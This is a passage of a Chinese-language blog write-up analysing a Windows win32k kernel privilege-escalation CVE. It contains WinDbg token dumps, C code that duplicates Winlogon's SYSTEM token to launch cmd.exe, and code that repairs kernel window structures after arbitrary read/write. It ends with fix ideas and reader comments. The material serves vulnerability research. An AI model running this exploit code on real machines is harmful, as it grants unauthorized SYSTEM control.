    Working Set Sizes (now,min,max)  (3141, 50, 345) (12564KB, 200KB, 1380KB)
    PeakWorkingSetSize                3084
    VirtualSize                       4188 Mb
    PeakVirtualSize                   4188 Mb
    PageFaultCount                    3147
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      2079
    Job                               ffffbd04668a3060
  1. 查看提权后用户组权限
0: kd> !token ffff9a8ee9505060
_TOKEN 0xffff9a8ee9505060
TS Session ID: 0x1
User: S-1-5-21-565062453-3133431090-1700854632-1001
User Groups: 
 00 S-1-5-21-565062453-3133431090-1700854632-513
    Attributes - Mandatory Default Enabled 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-114
    Attributes - Mandatory Default Enabled 
 03 S-1-5-32-544
    Attributes - Mandatory Default Enabled Owner 
 04 S-1-5-32-559
    Attributes - Mandatory Default Enabled 
 05 S-1-5-32-545
    Attributes - Mandatory Default Enabled 
 06 S-1-5-4
    Attributes - Mandatory Default Enabled 
 07 S-1-2-1
    Attributes - Mandatory Default Enabled 
 08 S-1-5-11
    Attributes - Mandatory Default Enabled 
 09 S-1-5-15
    Attributes - Mandatory Default Enabled 
 10 S-1-5-113
    Attributes - Mandatory Default Enabled 
 11 S-1-5-5-0-151792
    Attributes - Mandatory Default Enabled LogonId 
 12 S-1-2-0
    Attributes - Mandatory Default Enabled 
 13 S-1-5-64-10
    Attributes - Mandatory Default Enabled 
 14 S-1-16-8192
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-21-565062453-3133431090-1700854632-513
Privs: 
 00 0x000000000 Unknown Privilege                 Attributes - Enabled 
 01 0x000000001 Unknown Privilege                 Attributes - Enabled 
 02 0x000000002 SeCreateTokenPrivilege            Attributes - Enabled 
 03 0x000000003 SeAssignPrimaryTokenPrivilege     Attributes - Enabled 
 04 0x000000004 SeLockMemoryPrivilege             Attributes - Enabled 
 05 0x000000005 SeIncreaseQuotaPrivilege          Attributes - Enabled 
 06 0x000000006 SeMachineAccountPrivilege         Attributes - Enabled 
 07 0x000000007 SeTcbPrivilege                    Attributes - Enabled 
 08 0x000000008 SeSecurityPrivilege               Attributes - Enabled 
 09 0x000000009 SeTakeOwnershipPrivilege          Attributes - Enabled 
 10 0x00000000a SeLoadDriverPrivilege             Attributes - Enabled 
 11 0x00000000b SeSystemProfilePrivilege          Attributes - Enabled 
 12 0x00000000c SeSystemtimePrivilege             Attributes - Enabled 
 13 0x00000000d SeProfileSingleProcessPrivilege   Attributes - Enabled 
 14 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes - Enabled 
 15 0x00000000f SeCreatePagefilePrivilege         Attributes - Enabled 
 16 0x000000010 SeCreatePermanentPrivilege        Attributes - Enabled 
 17 0x000000011 SeBackupPrivilege                 Attributes - Enabled 
 18 0x000000012 SeRestorePrivilege                Attributes - Enabled 
 19 0x000000013 SeShutdownPrivilege               Attributes - Enabled 
 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled 
 21 0x000000015 SeAuditPrivilege                  Attributes - Enabled 
 22 0x000000016 SeSystemEnvironmentPrivilege      Attributes - Enabled 
 23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default 
 24 0x000000018 SeRemoteShutdownPrivilege         Attributes - Enabled 
 25 0x000000019 SeUndockPrivilege                 Attributes - Enabled 
 26 0x00000001a SeSyncAgentPrivilege              Attributes - Enabled 
 27 0x00000001b SeEnableDelegationPrivilege       Attributes - Enabled 
 28 0x00000001c SeManageVolumePrivilege           Attributes - Enabled 
 29 0x00000001d SeImpersonatePrivilege            Attributes - Enabled 
 30 0x00000001e SeCreateGlobalPrivilege           Attributes - Enabled Default 
 31 0x00000001f SeTrustedCredManAccessPrivilege   Attributes - Enabled 
 32 0x000000020 SeRelabelPrivilege                Attributes - Enabled 
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - Enabled 
 34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled 
 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled 
 36 0x000000024 SeDelegateSessionUserImpersonatePrivilege  Attributes - Enabled 
 37 0x000000025 Unknown Privilege                 Attributes - Enabled 
 38 0x000000026 Unknown Privilege                 Attributes - Enabled 
 39 0x000000027 Unknown Privilege                 Attributes - Enabled 
 40 0x000000028 Unknown Privilege                 Attributes - Enabled 
 41 0x000000029 Unknown Privilege                 Attributes - Enabled 
 42 0x00000002a Unknown Privilege                 Attributes - Enabled 
 43 0x00000002b Unknown Privilege                 Attributes - Enabled 
 44 0x00000002c Unknown Privilege                 Attributes - Enabled 
 45 0x00000002d Unknown Privilege                 Attributes - Enabled 
 46 0x00000002e Unknown Privilege                 Attributes - Enabled 
 47 0x00000002f Unknown Privilege                 Attributes - Enabled 
 48 0x000000030 Unknown Privilege                 Attributes - Enabled 
 49 0x000000031 Unknown Privilege                 Attributes - Enabled 
 50 0x000000032 Unknown Privilege                 Attributes - Enabled 
 51 0x000000033 Unknown Privilege                 Attributes - Enabled 
 52 0x000000034 Unknown Privilege                 Attributes - Enabled 
 53 0x000000035 Unknown Privilege                 Attributes - Enabled 
 54 0x000000036 Unknown Privilege                 Attributes - Enabled 
 55 0x000000037 Unknown Privilege                 Attributes - Enabled 
 56 0x000000038 Unknown Privilege                 Attributes - Enabled 
 57 0x000000039 Unknown Privilege                 Attributes - Enabled 
 58 0x00000003a Unknown Privilege                 Attributes - Enabled 
 59 0x00000003b Unknown Privilege                 Attributes - Enabled 
 60 0x00000003c Unknown Privilege                 Attributes - Enabled 
 61 0x00000003d Unknown Privilege                 Attributes - Enabled 
 62 0x00000003e Unknown Privilege                 Attributes - Enabled 
 63 0x00000003f Unknown Privilege                 Attributes - Enabled 
Authentication ID:         (0,25ab4)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: User32             TokenFlags: 0x2a00 ( Token in use )
Token ID: 10339a           ParentToken ID: 0
Modified ID:               (0, 25acb)
RestrictedSidCount: 0      RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 3e7
PackageSid: (null)
CapabilityCount: 0      Capabilities: 0x0000000000000000
LowboxNumberEntry: 0x0000000000000000
Security Attributes:
Unable to get the offset of nt!_AUTHZBASEP_SECURITY_ATTRIBUTE.ListLink
Process Token TrustLevelSid: (null)
  1. 查看上述执行代码的赋值情况
0: kd> dqs ffff9a8ee9505060+40
ffff9a8e`e95050a0  ffffffff`ffffffff        <===这里
ffff9a8e`e95050a8  ffffffff`ffffffff        <===这里
ffff9a8e`e95050b0  00000000`40800000
ffff9a8e`e95050b8  00000000`00000000
ffff9a8e`e95050c0  00000000`00000000
ffff9a8e`e95050c8  00000000`00000000
ffff9a8e`e95050d0  00010000`00000000
ffff9a8e`e95050d8  00000010`00000001
ffff9a8e`e95050e0  00000104`00000000
ffff9a8e`e95050e8  00000000`00001000
ffff9a8e`e95050f0  00000000`00000000
ffff9a8e`e95050f8  ffff9a8e`e95054f0
ffff9a8e`e9505100  00000000`00000000
ffff9a8e`e9505108  ffff9a8e`e5d1c5b0
ffff9a8e`e9505110  ffff9a8e`e5d1c5b0
ffff9a8e`e9505118  ffff9a8e`e5d1c5cc
0: kd> dqs ffff9a8ee9505060+498+30
ffff9a8e`e9505528  00000000`00000007        <===这里
ffff9a8e`e9505530  ffff9a8e`e6983cd8
ffff9a8e`e9505538  00000000`0000000f        <===这里
ffff9a8e`e9505540  ffff9a8e`e6983ce8
ffff9a8e`e9505548  00000000`00000007
ffff9a8e`e9505550  ffff9a8e`e6983cf8
ffff9a8e`e9505558  00000000`00000007
ffff9a8e`e9505560  ffff9a8e`e6983d08
ffff9a8e`e9505568  00000000`00000007
ffff9a8e`e9505570  ffff9a8e`e6983d14
ffff9a8e`e9505578  00000000`00000007
ffff9a8e`e9505580  ffff9a8e`e6983d20
ffff9a8e`e9505588  00000000`00000007
ffff9a8e`e9505590  ffff9a8e`e6983d2c
ffff9a8e`e9505598  00000000`00000007
ffff9a8e`e95055a0  ffff9a8e`e6983d38
  • 所以根据分析,我们只需要将这里上述的地址覆盖成规定数据即可进行提权。
  • 太菜了,希望早日找到/分析出实现的原理

这里给出一下system进程的Token的情况:

1: kd> !token ffff9a8ee2207040
_TOKEN 0xffff9a8ee2207040
TS Session ID: 0
User: S-1-5-18
User Groups: 
 00 S-1-5-32-544
    Attributes - Default Enabled Owner 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-11
    Attributes - Mandatory Default Enabled 
 03 S-1-16-16384
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-18
Privs: 
 02 0x000000002 SeCreateTokenPrivilege            Attributes - 
 03 0x000000003 SeAssignPrimaryTokenPrivilege     Attributes - 
 04 0x000000004 SeLockMemoryPrivilege             Attributes - Enabled Default 
 05 0x000000005 SeIncreaseQuotaPrivilege          Attributes - 
 07 0x000000007 SeTcbPrivilege                    Attributes - Enabled Default 
 08 0x000000008 SeSecurityPrivilege               Attributes - 
 09 0x000000009 SeTakeOwnershipPrivilege          Attributes - 
 10 0x00000000a SeLoadDriverPrivilege             Attributes - 
 11 0x00000000b SeSystemProfilePrivilege          Attributes - Enabled Default 
 12 0x00000000c SeSystemtimePrivilege             Attributes - 
 13 0x00000000d SeProfileSingleProcessPrivilege   Attributes - Enabled Default 
 14 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes - Enabled Default 
 15 0x00000000f SeCreatePagefilePrivilege         Attributes - Enabled Default 
 16 0x000000010 SeCreatePermanentPrivilege        Attributes - Enabled Default 
 17 0x000000011 SeBackupPrivilege                 Attributes - 
 18 0x000000012 SeRestorePrivilege                Attributes - 
 19 0x000000013 SeShutdownPrivilege               Attributes - 
 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled Default 
 21 0x000000015 SeAuditPrivilege                  Attributes - Enabled Default 
 22 0x000000016 SeSystemEnvironmentPrivilege      Attributes - 
 23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default 
 25 0x000000019 SeUndockPrivilege                 Attributes - 
 28 0x00000001c SeManageVolumePrivilege           Attributes - 
 29 0x00000001d SeImpersonatePrivilege            Attributes - Enabled Default 
 30 0x00000001e SeCreateGlobalPrivilege           Attributes - Enabled Default 
 31 0x00000001f SeTrustedCredManAccessPrivilege   Attributes - 
 32 0x000000020 SeRelabelPrivilege                Attributes - 
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - Enabled Default 
 34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled Default 
 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled Default 
 36 0x000000024 SeDelegateSessionUserImpersonatePrivilege  Attributes - Enabled Default 
Authentication ID:         (0,3e7)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: *SYSTEM*           TokenFlags: 0x2000 ( Token in use )
Token ID: 3eb              ParentToken ID: 0
Modified ID:               (0, 3ec)
RestrictedSidCount: 0      RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0
PackageSid: (null)
CapabilityCount: 0      Capabilities: 0x0000000000000000
LowboxNumberEntry: 0x0000000000000000
Security Attributes:
Invalid AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION with no claims
Process Token TrustLevelSid: S-1-19-1024-8192
1: kd> dqs ffff9a8ee2207040+0x498+30
ffff9a8e`e2207508  fe418dc0`00000007        <==这是我们修改的地址
ffff9a8e`e2207510  ffff9a8e`e2227370
ffff9a8e`e2207518  fe414db0`00000060        <==这是我们修改的地址
ffff9a8e`e2207520  fe4eebb0`fdfd59c0
ffff9a8e`e2207528  fdf0dc40`fdfb5050
ffff9a8e`e2207530  fdf8bce0`fde328d0
ffff9a8e`e2207538  fde6f9b0`fde40260
ffff9a8e`e2207540  9b640685`98ef512a
ffff9a8e`e2207548  ffff9a8e`e2662b88
ffff9a8e`e2207550  ffff9a8e`e27daf08
ffff9a8e`e2207558  ffff9a8e`e2255ee9
ffff9a8e`e2207560  00000000`80040001
ffff9a8e`e2207568  00000000`00000000
ffff9a8e`e2207570  00240002`00000014
ffff9a8e`e2207578  00180000`00000001
ffff9a8e`e2207580  00000201`001f0003
1: kd> dqs ffff9a8ee2207040+0x40
ffff9a8e`e2207080  0000001f`f2ffffbc        <==这是我们修改的地址
ffff9a8e`e2207088  0000001e`60b1e890        <==这是我们修改的地址
ffff9a8e`e2207090  0000001e`60b1e890
ffff9a8e`e2207098  00000000`00000000
ffff9a8e`e22070a0  00000000`00000000
ffff9a8e`e22070a8  00000000`00000000
ffff9a8e`e22070b0  ff000000`00000000
ffff9a8e`e22070b8  00000005`00000000
ffff9a8e`e22070c0  00000050`00000000
ffff9a8e`e22070c8  00000000`00001000
ffff9a8e`e22070d0  ffc356f0`00000001
ffff9a8e`e22070d8  ffff9a8e`e22074d0
ffff9a8e`e22070e0  00000000`00000000
ffff9a8e`e22070e8  ffff9a8e`e2214a80
ffff9a8e`e22070f0  ffff9a8e`e2214a80
ffff9a8e`e22070f8  ffff9a8e`e2214a8c

所以这里是否可以直接将system权限的所有数据copy一份移植到我们的进程中即可实现提权呢?覆盖的范围又是多少呢?关于这里的试验我们可以直接windbg赋值即可testing

六、创建一个拷贝本进程Token的cmd进程

BOOL GetProIDByName(PCWCHAR ImageName, ULONG_PTR* ProcIDPtr)
{
   HANDLE hSnapshot = INVALID_HANDLE_VALUE;
   PROCESSENTRY32 pe32;

   hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
   if (hSnapshot == INVALID_HANDLE_VALUE)
      return FALSE;

   pe32.dwSize = sizeof(pe32);

   if (Process32First(hSnapshot, &pe32))
   {
      do {
         if (lstrcmpi(ImageName, pe32.szExeFile) == 0)
         {
            CloseHandle(hSnapshot);
            *ProcIDPtr = pe32.th32ProcessID;
            return TRUE;
         }
      } while (Process32Next(hSnapshot, &pe32));
   }

   CloseHandle(hSnapshot);
   return FALSE;
}

VOID CreateEopProc() {
    HANDLE hProc;
    HANDLE hToken;
    HANDLE hEopToken;
    ULONG_PTR ulWinlogonPID = 0;

    if (!GetProIDByName(L"Winlogon.exe", &ulWinlogonPID) || !ulWinlogonPID)
        return;

    hProc = OpenProcess(
        PROCESS_QUERY_INFORMATION,
        FALSE,
        ulWinlogonPID );

    OpenProcessToken(
        hProc,
        TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
        &hToken);


    SECURITY_IMPERSONATION_LEVEL seImpersonateLevel = SecurityImpersonation;
    TOKEN_TYPE tokenType = TokenPrimary;
    if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &hEopToken))
        return;

    /* Starts a new process with SYSTEM token */
    STARTUPINFOW si = {};
    PROCESS_INFORMATION pi = {};
    CreateProcessWithTokenW(
        hEopToken,
        LOGON_NETCREDENTIALS_ONLY,
        L"C:\\Windows\\System32\\cmd.exe",
        NULL,
        CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        &si,
        &pi);
}

七、恢复环境


只要将所有我们使用SetWindowLong/SetWindowLongStr修改过的数据还原即可

pFakeItems[0] = (ULONG_PTR)(ulDesktopHeapBase + ulWndOffset + ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF - 0x40);  //这里是查看相邻窗口tagWNDk的flag的值
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
//这里读取相邻窗口上的flag数据(准备被删除0x800属性)

SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF, ulValue & ~0x800);        
//删除相邻窗口的flag的0x800属性
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_VALUE_OFF, 0);
// 将相邻窗口的扩展内存设置为0
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_EXTRA_SIZE_OFF, 0x100 );                
//相邻窗口开始定义窗口的cbWndExtra
SetWindowLongPtr(hTargetWnd, TAGWND_BODY_EXTRA_SIZE_OFF, 0x100);                                    
//目标窗口开始定义窗口的cbWndExtra

{
ULONG_PTR ulWndOffset = 0x0;
ULONG_PTR ulValue = 0x0;

ulWndOffset = GetWndObjOffset((ULONG_PTR)hTargetWnd);

pFakeItems[0] = (ULONG_PTR)(ulDesktopHeapBase + ulWndOffset + TAGWND_BODY_REL_FLAG_OFF - 0x40);
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
//这里读取到目标窗口上的flag数据(准备被删除0x800属性)


SetWindowLongPtr(hTargetWnd, GWLP_ID, 0x0);
// 将目标窗口载入的Spmenu设置为0
SetWindowLong(hTargetWnd, TAGWND_BODY_STYLE_OFF, 0x04c00000);
// 将目标窗口中的style设置回0x04c00000(虽然前面已经复原了,但是谁知道会不会被改了)
SetWindowLongPtr(hTargetWnd, TAGWND_BODY_REL_FLAG_OFF, ulValue & ~0x800);
// 将目标窗口中的flag删除0x800属性
SetWindowLongPtr(hTargetWnd, TAGWND_BODY_REL_VALUE_OFF, 0);
// 将目标窗口的扩展内存设置为0
}

0x06 个人修复方案见解

在上述CVE中的可修复方案我觉得可以两选一:

  • xxxClientAllocWindowClassExtraBytes不回调用户态(但是需要创建一个用户堆,所以很难实现)
  • 为tagWND设置一个新的结构体成员提供给“NtUserConsoleControl设置flag|0x800”这个功能生成一个新的成员调用

0x07 从文章中能学到的知识点


  1. 最新型Sprayhandler获取窗口句柄利用手法
  2. 利用HookLib.lib库进行内核NtCallbackReturn Hook利用
  3. 采用DataOnlyAttack的方式替换了当前进程的Token流程及一点原理
  4. 上述利用手法中有很多读写仍然可以调用(但是由于上述API大部分都是调用tagWND作为句柄作关联操作(实际就是读/写tagWND结构体作为联系),所以上述仍然可以利用的大部分利用手法仅仅局限于Win32k)
  5. 在未知结构体情况下通过已知的一定信息通过反汇编出来的代码+断点拿到更多的信息
  6. 在未知结构体的成员结构偏移时,可以通过动态调试传入参数监控结构体空间数据确定位置
  7. 从内核态动态编写test~通过动态调试传入参数监控结构体空间数据分析tagWND各个成员地址
  8. 从内核态分析了GetMenuBarInfo()进行任意地址读取的原理
  9. 从内核态分析了SetWindowLong/SetWindowLongStr进行任意地址写入的原理
  10. 如何在修改内核结构体帮助漏洞利用情况下修复内核结构体内容防止蓝屏
  11. 使用HMValidateHandle泄露句柄在用户层地址
  12. windbg寻找各个内核结构体定义

个人感受

每一个windows内核0day都是一个非常复杂的调试流程,Exploit作者都是根据自己积累足够多的经验抓住灵光一逝的思路然后耐心的一步一步调试一次次蓝屏、一点点反复查看内存空间差异来开展编写工作的,所以我十分之佩服他们,也甘愿加入这个群体。

学习内核难在何处?windows不同版本更新下的结构体修改,一步一步编写分析进程对照内存空间分析,资料的断代,利用手法的创新,这些都是我们需要克服的困难。
由于这是本人第一次分析这种比较复杂的且缺少分析资料的内核CVE,有什么有趣的成果也是靠时间熬出来的,我是菜狗QAQ理解一下。

这篇文章各个点在我能力范围内已经事无巨细的都分析了一遍,由于我这种野生没有团队的帮助的研究员,身边也没有人能帮助我的情况下,我能收集到的知识库基本已经被榨干了,实在是没办法进一步分析。而且时间跨度太大,如果漏挖这条路真的走不通的话,我也要开始着重点走样本了,不过我会将漏挖当作副业一直走下去的。

本次分析耗费了本人很多时间和精力,希望大家能多多帮我宣传,感谢感谢!!

参考链接:

评论

starryloki 2021-12-13 11:30:14

tql

9rimZAG9 2021-12-14 10:17:43

写得好详细,tql

misift_Zero

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

APT 文章:6 篇
Web安全 文章:248 篇
事件分析 文章:223 篇
企业安全 文章:40 篇
后门 文章:39 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录